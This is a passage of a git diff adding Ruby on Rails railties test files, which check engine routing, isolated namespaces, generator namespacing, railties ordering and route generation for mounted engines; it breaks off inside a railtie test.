+      @plugin.write "app/models/bukkits/post.rb", <<-RUBY
+        module Bukkits
+          class Post
+            include ActiveModel::Model
+            attr_accessor :title
+
+            def to_param
+              "1"
+            end
+
+            def persisted?
+              false
+            end
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount Bukkits::Engine => "/bukkits", as: "bukkits"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          resources :posts
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/posts_controller.rb", <<-RUBY
+        class Bukkits::PostsController < ActionController::Base
+          def new
+          end
+        end
+      RUBY
+
+      @plugin.write "app/views/bukkits/posts/new.html.erb", <<-ERB
+          <%= form_for(Bukkits::Post.new) do |f| %>
+            <%= f.text_field :title %>
+          <% end %>
+      ERB
+
+      add_to_config("config.action_dispatch.show_exceptions = false")
+
+      boot_rails
+
+      get("/bukkits/posts/new")
+      assert_match(/name="post\[title\]"/, last_response.body)
+    end
+
+    test "isolated engine should set correct route module prefix for nested namespace" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          module Awesome
+            class Engine < ::Rails::Engine
+              isolate_namespace Bukkits::Awesome
+            end
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount Bukkits::Awesome::Engine => "/bukkits", :as => "bukkits"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Awesome::Engine.routes.draw do
+          get "/foo" => "foo#index"
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/awesome/foo_controller.rb", <<-RUBY
+        class Bukkits::Awesome::FooController < ActionController::Base
+          def index
+            render plain: "ok"
+          end
+        end
+      RUBY
+
+      add_to_config("config.action_dispatch.show_exceptions = false")
+
+      boot_rails
+
+      get("/bukkits/foo")
+      assert_equal "ok", last_response.body
+    end
+
+    test "loading seed data" do
+      @plugin.write "db/seeds.rb", <<-RUBY
+        Bukkits::Engine.config.bukkits_seeds_loaded = true
+      RUBY
+
+      app_file "db/seeds.rb", <<-RUBY
+        Rails.application.config.app_seeds_loaded = true
+      RUBY
+
+      boot_rails
+
+      Rails.application.load_seed
+      assert Rails.application.config.app_seeds_loaded
+      assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded }
+
+      Bukkits::Engine.load_seed
+      assert Bukkits::Engine.config.bukkits_seeds_loaded
+    end
+
+    test "skips nonexistent seed data" do
+      FileUtils.rm "#{app_path}/db/seeds.rb"
+      boot_rails
+      assert_nil Rails.application.load_seed
+    end
+
+    test "using namespace more than once on one module should not overwrite railtie_namespace method" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module AppTemplate
+          class Engine < ::Rails::Engine
+            isolate_namespace(AppTemplate)
+          end
+        end
+      RUBY
+
+      add_to_config "isolate_namespace AppTemplate"
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do end
+      RUBY
+
+      boot_rails
+
+      assert_equal AppTemplate::Engine, AppTemplate.railtie_namespace
+    end
+
+    test "properly reload routes" do
+      # when routes are inside application class definition
+      # they should not be reloaded when engine's routes
+      # file has changed
+      add_to_config <<-RUBY
+        routes do
+          mount lambda{|env| [200, {}, ["foo"]]} => "/foo"
+          mount Bukkits::Engine => "/bukkits"
+        end
+      RUBY
+
+      FileUtils.rm(File.join(app_path, "config/routes.rb"))
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          mount lambda{|env| [200, {}, ["bar"]]} => "/bar"
+        end
+      RUBY
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace(Bukkits)
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      get("/foo")
+      assert_equal "foo", last_response.body
+
+      get("/bukkits/bar")
+      assert_equal "bar", last_response.body
+    end
+
+    test "setting generators for engine and overriding app generator's" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            config.generators do |g|
+              g.orm             :data_mapper
+              g.template_engine :haml
+              g.test_framework  :rspec
+            end
+
+            config.app_generators do |g|
+              g.orm             :mongoid
+              g.template_engine :liquid
+              g.test_framework  :shoulda
+            end
+          end
+        end
+      RUBY
+
+      add_to_config <<-RUBY
+        config.generators do |g|
+          g.test_framework  :test_unit
+        end
+      RUBY
+
+      boot_rails
+
+      app_generators = Rails.application.config.generators.options[:rails]
+      assert_equal :mongoid  , app_generators[:orm]
+      assert_equal :liquid   , app_generators[:template_engine]
+      assert_equal :test_unit, app_generators[:test_framework]
+
+      generators = Bukkits::Engine.config.generators.options[:rails]
+      assert_equal :data_mapper, generators[:orm]
+      assert_equal :haml      , generators[:template_engine]
+      assert_equal :rspec     , generators[:test_framework]
+    end
+
+    test "engine should get default generators with ability to overwrite them" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            config.generators.test_framework :rspec
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      generators = Bukkits::Engine.config.generators.options[:rails]
+      assert_equal :active_record, generators[:orm]
+      assert_equal :rspec        , generators[:test_framework]
+
+      app_generators = Rails.application.config.generators.options[:rails]
+      assert_equal :test_unit    , app_generators[:test_framework]
+    end
+
+    test "do not create table_name_prefix method if it already exists" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          def self.table_name_prefix
+            "foo"
+          end
+
+          class Engine < ::Rails::Engine
+            isolate_namespace(Bukkits)
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      assert_equal "foo", Bukkits.table_name_prefix
+    end
+
+    test "fetching engine by path" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      assert_equal Bukkits::Engine.instance, Rails::Engine.find(@plugin.path)
+
+      # check expanding paths
+      engine_dir = @plugin.path.chomp("/").split("/").last
+      engine_path = File.join(@plugin.path, "..", engine_dir)
+      assert_equal Bukkits::Engine.instance, Rails::Engine.find(engine_path)
+    end
+
+    test "gather isolated engine's helpers in Engine#helpers" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      app_file "app/helpers/some_helper.rb", <<-RUBY
+        module SomeHelper
+          def foo
+            'foo'
+          end
+        end
+      RUBY
+
+      @plugin.write "app/helpers/bukkits/engine_helper.rb", <<-RUBY
+        module Bukkits
+          module EngineHelper
+            def bar
+              'bar'
+            end
+          end
+        end
+      RUBY
+
+      @plugin.write "app/helpers/engine_helper.rb", <<-RUBY
+        module EngineHelper
+          def baz
+            'baz'
+          end
+        end
+      RUBY
+
+      add_to_config("config.action_dispatch.show_exceptions = false")
+
+      boot_rails
+
+      assert_equal [:bar, :baz], Bukkits::Engine.helpers.public_instance_methods.sort
+    end
+
+    test "setting priority for engines with config.railties_order" do
+      @blog = engine "blog" do |plugin|
+        plugin.write "lib/blog.rb", <<-RUBY
+          module Blog
+            class Engine < ::Rails::Engine
+            end
+          end
+        RUBY
+      end
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      controller "main", <<-RUBY
+        class MainController < ActionController::Base
+          def foo
+            render inline: '<%= render :partial => "shared/foo" %>'
+          end
+
+          def bar
+            render inline: '<%= render :partial => "shared/bar" %>'
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/foo" => "main#foo"
+          get "/bar" => "main#bar"
+        end
+      RUBY
+
+      @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+        Bukkit's foo partial
+      RUBY
+
+      app_file "app/views/shared/_foo.html.erb", <<-RUBY
+        App's foo partial
+      RUBY
+
+      @blog.write "app/views/shared/_bar.html.erb", <<-RUBY
+        Blog's bar partial
+      RUBY
+
+      app_file "app/views/shared/_bar.html.erb", <<-RUBY
+        App's bar partial
+      RUBY
+
+      @plugin.write "app/assets/javascripts/foo.js", <<-RUBY
+        // Bukkit's foo js
+      RUBY
+
+      app_file "app/assets/javascripts/foo.js", <<-RUBY
+        // App's foo js
+      RUBY
+
+      @blog.write "app/assets/javascripts/bar.js", <<-RUBY
+        // Blog's bar js
+      RUBY
+
+      app_file "app/assets/javascripts/bar.js", <<-RUBY
+        // App's bar js
+      RUBY
+
+      add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+      add_to_env_config "development", "config.assets.digest = false"
+
+      boot_rails
+
+      get("/foo")
+      assert_equal "Bukkit's foo partial", last_response.body.strip
+
+      get("/bar")
+      assert_equal "App's bar partial", last_response.body.strip
+
+      get("/assets/foo.js")
+      assert_match "// Bukkit's foo js", last_response.body.strip
+
+      get("/assets/bar.js")
+      assert_match "// App's bar js", last_response.body.strip
+
+      # ensure that railties are not added twice
+      railties = Rails.application.send(:ordered_railties).map(&:class)
+      assert_equal railties, railties.uniq
+    end
+
+    test "railties_order adds :all with lowest priority if not given" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+          end
+        end
+      RUBY
+
+      controller "main", <<-RUBY
+        class MainController < ActionController::Base
+          def foo
+            render inline: '<%= render :partial => "shared/foo" %>'
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/foo" => "main#foo"
+        end
+      RUBY
+
+      @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+        Bukkit's foo partial
+      RUBY
+
+      app_file "app/views/shared/_foo.html.erb", <<-RUBY
+        App's foo partial
+      RUBY
+
+      add_to_config("config.railties_order = [Bukkits::Engine]")
+
+      boot_rails
+
+      get("/foo")
+      assert_equal "Bukkit's foo partial", last_response.body.strip
+    end
+
+    test "engine can be properly mounted at root" do
+      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.public_file_server.enabled = false")
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace ::Bukkits
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          root "foo#index"
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
+        module Bukkits
+          class FooController < ActionController::Base
+            def index
+              text = <<-TEXT
+                script_name: \#{request.script_name}
+                fullpath: \#{request.fullpath}
+                path: \#{request.path}
+              TEXT
+              render plain: text
+            end
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount Bukkits::Engine => "/"
+        end
+      RUBY
+
+      boot_rails
+
+      expected = <<-TEXT
+        script_name:
+        fullpath: /
+        path: /
+      TEXT
+
+      get("/")
+      assert_equal expected.split("\n").map(&:strip),
+                   last_response.body.split("\n").map(&:strip)
+    end
+
+    test "paths are properly generated when application is mounted at sub-path" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      app_file "app/controllers/bar_controller.rb", <<-RUBY
+        class BarController < ApplicationController
+          def index
+            render plain: bukkits.bukkit_path
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/bar' => 'bar#index', :as => 'bar'
+          mount Bukkits::Engine => "/bukkits", :as => "bukkits"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          get '/bukkit' => 'bukkit#index'
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/bukkit_controller.rb", <<-RUBY
+        class Bukkits::BukkitController < ActionController::Base
+          def index
+            render plain: main_app.bar_path
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      get("/bukkits/bukkit", {}, "SCRIPT_NAME" => "/foo")
+      assert_equal "/foo/bar", last_response.body
+
+      get("/bar", {}, "SCRIPT_NAME" => "/foo")
+      assert_equal "/foo/bukkits/bukkit", last_response.body
+    end
+
+    test "paths are properly generated when application is mounted at sub-path and relative_url_root is set" do
+      add_to_config "config.relative_url_root = '/foo'"
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      app_file "app/controllers/bar_controller.rb", <<-RUBY
+        class BarController < ApplicationController
+          def index
+            render plain: bukkits.bukkit_path
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get '/bar' => 'bar#index', :as => 'bar'
+          mount Bukkits::Engine => "/bukkits", :as => "bukkits"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          get '/bukkit' => 'bukkit#index'
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/bukkit_controller.rb", <<-RUBY
+        class Bukkits::BukkitController < ActionController::Base
+          def index
+            render plain: main_app.bar_path
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      get("/bukkits/bukkit", {}, "SCRIPT_NAME" => "/foo")
+      assert_equal "/foo/bar", last_response.body
+
+      get("/bar", {}, "SCRIPT_NAME" => "/foo")
+      assert_equal "/foo/bukkits/bukkit", last_response.body
+    end
+
+    test "isolated engine can be mounted under multiple static locations" do
+      app_file "app/controllers/foos_controller.rb", <<-RUBY
+        class FoosController < ApplicationController
+          def through_fruits
+            render plain: fruit_bukkits.posts_path
+          end
+
+          def through_vegetables
+            render plain: vegetable_bukkits.posts_path
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          scope "/fruits" do
+            mount Bukkits::Engine => "/bukkits", as: :fruit_bukkits
+          end
+
+          scope "/vegetables" do
+            mount Bukkits::Engine => "/bukkits", as: :vegetable_bukkits
+          end
+
+          get "/through_fruits" => "foos#through_fruits"
+          get "/through_vegetables" => "foos#through_vegetables"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          resources :posts, only: :index
+        end
+      RUBY
+
+      boot_rails
+
+      get("/through_fruits")
+      assert_equal "/fruits/bukkits/posts", last_response.body
+
+      get("/through_vegetables")
+      assert_equal "/vegetables/bukkits/posts", last_response.body
+    end
+
+    test "isolated engine can be mounted under multiple dynamic locations" do
+      app_file "app/controllers/foos_controller.rb", <<-RUBY
+        class FoosController < ApplicationController
+          def through_fruits
+            render plain: fruit_bukkits.posts_path(fruit_id: 1)
+          end
+
+          def through_vegetables
+            render plain: vegetable_bukkits.posts_path(vegetable_id: 1)
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          resources :fruits do
+            mount Bukkits::Engine => "/bukkits"
+          end
+
+          resources :vegetables do
+            mount Bukkits::Engine => "/bukkits"
+          end
+
+          get "/through_fruits" => "foos#through_fruits"
+          get "/through_vegetables" => "foos#through_vegetables"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          resources :posts, only: :index
+        end
+      RUBY
+
+      boot_rails
+
+      get("/through_fruits")
+      assert_equal "/fruits/1/bukkits/posts", last_response.body
+
+      get("/through_vegetables")
+      assert_equal "/vegetables/1/bukkits/posts", last_response.body
+    end
+
+    test "route helpers resolve script name correctly when called with different script name from current one" do
+      @plugin.write "app/controllers/posts_controller.rb", <<-RUBY
+        class PostsController < ActionController::Base
+          def index
+            render plain: fruit_bukkits.posts_path(fruit_id: 2)
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          resources :fruits do
+            mount Bukkits::Engine => "/bukkits"
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          resources :posts, only: :index
+        end
+      RUBY
+
+      boot_rails
+
+      get("/fruits/1/bukkits/posts")
+      assert_equal "/fruits/2/bukkits/posts", last_response.body
+    end
+
+  private
+    def app
+      Rails.application
+    end
+  end
+end
diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb
new file mode 100644
index 0000000000..5c691b9ec4
--- /dev/null
+++ b/railties/test/railties/generators_test.rb
@@ -0,0 +1,130 @@
+RAILS_ISOLATED_ENGINE = true
+require "isolation/abstract_unit"
+
+require "generators/generators_test_helper"
+require "rails/generators/test_case"
+
+module RailtiesTests
+  class GeneratorTest < Rails::Generators::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def destination_root
+      tmp_path "foo_bar"
+    end
+
+    def tmp_path(*args)
+      @tmp_path ||= File.realpath(Dir.mktmpdir)
+      File.join(@tmp_path, *args)
+    end
+
+    def engine_path
+      tmp_path("foo_bar")
+    end
+
+    def bundled_rails(cmd)
+      `bundle exec rails #{cmd}`
+    end
+
+    def rails(cmd)
+      `#{Gem.ruby} #{RAILS_FRAMEWORK_ROOT}/railties/exe/rails #{cmd}`
+    end
+
+    def build_engine(is_mountable = false)
+      FileUtils.rm_rf(engine_path)
+      FileUtils.mkdir_p(engine_path)
+
+      mountable = is_mountable ? "--mountable" : ""
+
+      rails("plugin new #{engine_path} --full #{mountable}")
+
+      Dir.chdir(engine_path) do
+        File.open("Gemfile", "w") do |f|
+          f.write <<-GEMFILE.gsub(/^ {12}/, "")
+            source "https://rubygems.org"
+
+            gem 'rails', path: '#{RAILS_FRAMEWORK_ROOT}'
+            gem 'sqlite3'
+          GEMFILE
+        end
+      end
+    end
+
+    def build_mountable_engine
+      build_engine(true)
+    end
+
+    def test_controllers_are_correctly_namespaced_when_engine_is_mountable
+      build_mountable_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g controller topics")
+        assert_file "app/controllers/foo_bar/topics_controller.rb", /module FooBar\n  class TopicsController/
+        assert_no_file "app/controllers/topics_controller.rb"
+      end
+    end
+
+    def test_models_are_correctly_namespaced_when_engine_is_mountable
+      build_mountable_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g model topic")
+        assert_file "app/models/foo_bar/topic.rb", /module FooBar\n  class Topic/
+        assert_no_file "app/models/topic.rb"
+      end
+    end
+
+    def test_table_name_prefix_is_correctly_namespaced_when_engine_is_mountable
+      build_mountable_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g model namespaced/topic")
+        assert_file "app/models/foo_bar/namespaced.rb", /module FooBar\n  module Namespaced/ do |content|
+          assert_class_method :table_name_prefix, content do |method_content|
+            assert_match(/'foo_bar_namespaced_'/, method_content)
+          end
+        end
+      end
+    end
+
+    def test_helpers_are_correctly_namespaced_when_engine_is_mountable
+      build_mountable_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g helper topics")
+        assert_file "app/helpers/foo_bar/topics_helper.rb", /module FooBar\n  module TopicsHelper/
+        assert_no_file "app/helpers/topics_helper.rb"
+      end
+    end
+
+    def test_controllers_are_not_namespaced_when_engine_is_not_mountable
+      build_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g controller topics")
+        assert_file "app/controllers/topics_controller.rb", /class TopicsController/
+        assert_no_file "app/controllers/foo_bar/topics_controller.rb"
+      end
+    end
+
+    def test_models_are_not_namespaced_when_engine_is_not_mountable
+      build_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g model topic")
+        assert_file "app/models/topic.rb", /class Topic/
+        assert_no_file "app/models/foo_bar/topic.rb"
+      end
+    end
+
+    def test_helpers_are_not_namespaced_when_engine_is_not_mountable
+      build_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g helper topics")
+        assert_file "app/helpers/topics_helper.rb", /module TopicsHelper/
+        assert_no_file "app/helpers/foo_bar/topics_helper.rb"
+      end
+    end
+
+    def test_assert_file_with_special_characters
+      path = "#{app_path}/tmp"
+      file_name = "#{path}/v0.1.4~alpha+nightly"
+      FileUtils.mkdir_p path
+      FileUtils.touch file_name
+      assert_file file_name
+    end
+  end
+end
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
new file mode 100644
index 0000000000..6eb2c5acc6
--- /dev/null
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -0,0 +1,279 @@
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class ApplicationRoutingTest < ActiveSupport::TestCase
+    require "rack/test"
+    include Rack::Test::Methods
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+
+      add_to_config("config.action_dispatch.show_exceptions = false")
+
+      @simple_plugin = engine "weblog"
+      @plugin = engine "blog"
+      @metrics_plugin = engine "metrics"
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount Weblog::Engine, :at => '/', :as => 'weblog'
+          resources :posts
+          get "/engine_route" => "application_generating#engine_route"
+          get "/engine_route_in_view" => "application_generating#engine_route_in_view"
+          get "/weblog_engine_route" => "application_generating#weblog_engine_route"
+          get "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
+          get "/url_for_engine_route" => "application_generating#url_for_engine_route"
+          get "/polymorphic_route" => "application_generating#polymorphic_route"
+          get "/application_polymorphic_path" => "application_generating#application_polymorphic_path"
+          scope "/:user", :user => "anonymous" do
+            mount Blog::Engine => "/blog"
+          end
+          mount Metrics::Engine => "/metrics"
+          root :to => 'main#index'
+        end
+      RUBY
+
+      @simple_plugin.write "lib/weblog.rb", <<-RUBY
+        module Weblog
+          class Engine < ::Rails::Engine
+          end
+        end
+      RUBY
+
+      @simple_plugin.write "config/routes.rb", <<-RUBY
+        Weblog::Engine.routes.draw do
+          get '/weblog' => "weblogs#index", as: 'weblogs'
+        end
+      RUBY
+
+      @simple_plugin.write "app/controllers/weblogs_controller.rb", <<-RUBY
+        class WeblogsController < ActionController::Base
+          def index
+            render plain: request.url
+          end
+        end
+      RUBY
+
+      @metrics_plugin.write "lib/metrics.rb", <<-RUBY
+        module Metrics
+          class Engine < ::Rails::Engine
+            isolate_namespace(Metrics)
+          end
+        end
+      RUBY
+
+      @metrics_plugin.write "config/routes.rb", <<-RUBY
+        Metrics::Engine.routes.draw do
+          get '/generate_blog_route', to: 'generating#generate_blog_route'
+          get '/generate_blog_route_in_view', to: 'generating#generate_blog_route_in_view'
+        end
+      RUBY
+
+      @metrics_plugin.write "app/controllers/metrics/generating_controller.rb", <<-RUBY
+        module Metrics
+          class GeneratingController < ActionController::Base
+            def generate_blog_route
+              render plain: blog.post_path(1)
+            end
+
+            def generate_blog_route_in_view
+              render inline: "<%= blog.post_path(1) -%>"
+            end
+          end
+        end
+      RUBY
+
+      @plugin.write "app/models/blog/post.rb", <<-RUBY
+        module Blog
+          class Post
+            include ActiveModel::Model
+
+            def id
+              44
+            end
+
+            def persisted?
+              true
+            end
+          end
+        end
+      RUBY
+
+      @plugin.write "lib/blog.rb", <<-RUBY
+        module Blog
+          class Engine < ::Rails::Engine
+            isolate_namespace(Blog)
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Blog::Engine.routes.draw do
+          resources :posts
+          get '/different_context', to: 'posts#different_context'
+          get '/generate_application_route', to: 'posts#generate_application_route'
+          get '/application_route_in_view', to: 'posts#application_route_in_view'
+          get '/engine_polymorphic_path', to: 'posts#engine_polymorphic_path'
+          get '/engine_asset_path', to: 'posts#engine_asset_path'
+        end
+      RUBY
+
+      @plugin.write "app/controllers/blog/posts_controller.rb", <<-RUBY
+        module Blog
+          class PostsController < ActionController::Base
+            def index
+              render plain: blog.post_path(1)
+            end
+
+            def different_context
+              render plain: blog.post_path(1, user: "ada")
+            end
+
+            def generate_application_route
+              path = main_app.url_for(controller: "/main",
+                                 action: "index",
+                                 only_path: true)
+              render plain: path
+            end
+
+            def application_route_in_view
+              render inline: "<%= main_app.root_path %>"
+            end
+
+            def engine_polymorphic_path
+              render plain: polymorphic_path(Post.new)
+            end
+
+            def engine_asset_path
+              render inline: "<%= asset_path 'images/foo.png', skip_pipeline: true %>"
+            end
+          end
+        end
+      RUBY
+
+      app_file "app/controllers/application_generating_controller.rb", <<-RUBY
+        class ApplicationGeneratingController < ActionController::Base
+          def engine_route
+            render plain: blog.posts_path
+          end
+
+          def engine_route_in_view
+            render inline: "<%= blog.posts_path %>"
+          end
+
+          def weblog_engine_route
+            render plain: weblog.weblogs_path
+          end
+
+          def weblog_engine_route_in_view
+            render inline: "<%= weblog.weblogs_path %>"
+          end
+
+          def url_for_engine_route
+            render plain: blog.url_for(controller: "blog/posts", action: "index", user: "john", only_path: true)
+          end
+
+          def polymorphic_route
+            render plain: polymorphic_url([blog, Blog::Post.new])
+          end
+
+          def application_polymorphic_path
+            render plain: polymorphic_path(Blog::Post.new)
+          end
+        end
+      RUBY
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app
+      @app ||= begin
+        require "#{app_path}/config/environment"
+        Rails.application
+      end
+    end
+
+    test "routes generation in engine and application" do
+      # test generating engine's route from engine
+      get "/john/blog/posts"
+      assert_equal "/john/blog/posts/1", last_response.body
+
+      # test generating engine route from engine with a different context
+      get "/john/blog/different_context"
+      assert_equal "/ada/blog/posts/1", last_response.body
+
+      # test generating engine's route from engine with default_url_options
+      get "/john/blog/posts", {}, "SCRIPT_NAME" => "/foo"
+      assert_equal "/foo/john/blog/posts/1", last_response.body
+
+      # test generating engine's route from application
+      get "/engine_route"
+      assert_equal "/anonymous/blog/posts", last_response.body
+
+      get "/engine_route_in_view"
+      assert_equal "/anonymous/blog/posts", last_response.body
+
+      get "/url_for_engine_route"
+      assert_equal "/john/blog/posts", last_response.body
+
+      # test generating engine's route from application with default_url_options
+      get "/engine_route", {}, "SCRIPT_NAME" => "/foo"
+      assert_equal "/foo/anonymous/blog/posts", last_response.body
+
+      get "/url_for_engine_route", {}, "SCRIPT_NAME" => "/foo"
+      assert_equal "/foo/john/blog/posts", last_response.body
+
+      # test generating application's route from engine
+      get "/someone/blog/generate_application_route"
+      assert_equal "/", last_response.body
+
+      get "/somone/blog/application_route_in_view"
+      assert_equal "/", last_response.body
+
+      # test generating engine's route from other engine
+      get "/metrics/generate_blog_route"
+      assert_equal "/anonymous/blog/posts/1", last_response.body
+
+      get "/metrics/generate_blog_route_in_view"
+      assert_equal "/anonymous/blog/posts/1", last_response.body
+
+      # test generating engine's route from other engine with default_url_options
+      get "/metrics/generate_blog_route", {}, "SCRIPT_NAME" => "/foo"
+      assert_equal "/foo/anonymous/blog/posts/1", last_response.body
+
+      get "/metrics/generate_blog_route_in_view", {}, "SCRIPT_NAME" => "/foo"
+      assert_equal "/foo/anonymous/blog/posts/1", last_response.body
+
+      # test generating application's route from engine with default_url_options
+      get "/someone/blog/generate_application_route", {}, "SCRIPT_NAME" => "/foo"
+      assert_equal "/foo/", last_response.body
+
+      # test polymorphic routes
+      get "/polymorphic_route"
+      assert_equal "http://example.org/anonymous/blog/posts/44", last_response.body
+
+      # test that correct path is generated for the same polymorphic_path call in an engine
+      get "/somone/blog/engine_polymorphic_path"
+      assert_equal "/somone/blog/posts/44", last_response.body
+
+      # and in an application
+      get "/application_polymorphic_path"
+      assert_equal "/posts/44", last_response.body
+
+      # test that asset path will not get script_name when generated in the engine
+      get "/someone/blog/engine_asset_path"
+      assert_equal "/images/foo.png", last_response.body
+    end
+
+    test "route path for controller action when engine is mounted at root" do
+      get "/weblog_engine_route"
+      assert_equal "/weblog", last_response.body
+
+      get "/weblog_engine_route_in_view"
+      assert_equal "/weblog", last_response.body
+    end
+  end
+end
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
new file mode 100644
index 0000000000..30cd525266
--- /dev/null
+++ b/railties/test/railties/railtie_test.rb
@@ -0,0 +1,214 @@
+require "isolation/abstract_unit"
+
+module RailtiesTest
+  class RailtieTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      FileUtils.rm_rf("#{app_path}/config/environments")
+      require "rails/all"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app
+      @app ||= Rails.application
+    end
+
+    test "cannot instantiate a Railtie object" do
+      assert_raise(RuntimeError) { Rails::Railtie.new }
+    end
+
+    test "Railtie provides railtie_name" do
+      begin
+        class ::FooBarBaz < Rails::Railtie ; end
+        assert_equal "foo_bar_baz", FooBarBaz.railtie_name
+      ensure
+        Object.send(:remove_const, :"FooBarBaz")
+      end
+    end
+
+    test "railtie_name can be set manually" do
+      class Foo < Rails::Railtie
+        railtie_name "bar"
+      end
+      assert_equal "bar", Foo.railtie_name
+    end
+
+    test "config is available to railtie" do
+      class Foo < Rails::Railtie ; end
+      assert_nil Foo.config.action_controller.foo
+    end
+
+    test "config name is available for the railtie" do
+      class Foo < Rails::Railtie
+        config.foo = ActiveSupport::OrderedOptions.new
+        config.foo.greetings = "hello"
+      end
+      assert_equal "hello", Foo.config.foo.greetings
+    end
+
+    test "railtie configurations are available in the application" do
+      class Foo < Rails::Railtie
+        config.foo = ActiveSupport::OrderedOptions.new
+        config.foo.greetings = "hello"
+      end
+      require "#{app_path}/config/application"
+      assert_equal "hello", Rails.application.config.foo.greetings
+    end
+
+    test "railtie can add to_prepare callbacks" do
+      $to_prepare = false
+      class Foo < Rails::Railtie ; config.to_prepare { $to_prepare = true } ; end
+      assert !$to_prepare
+      require "#{app_path}/config/environment"
+      require "rack/test"
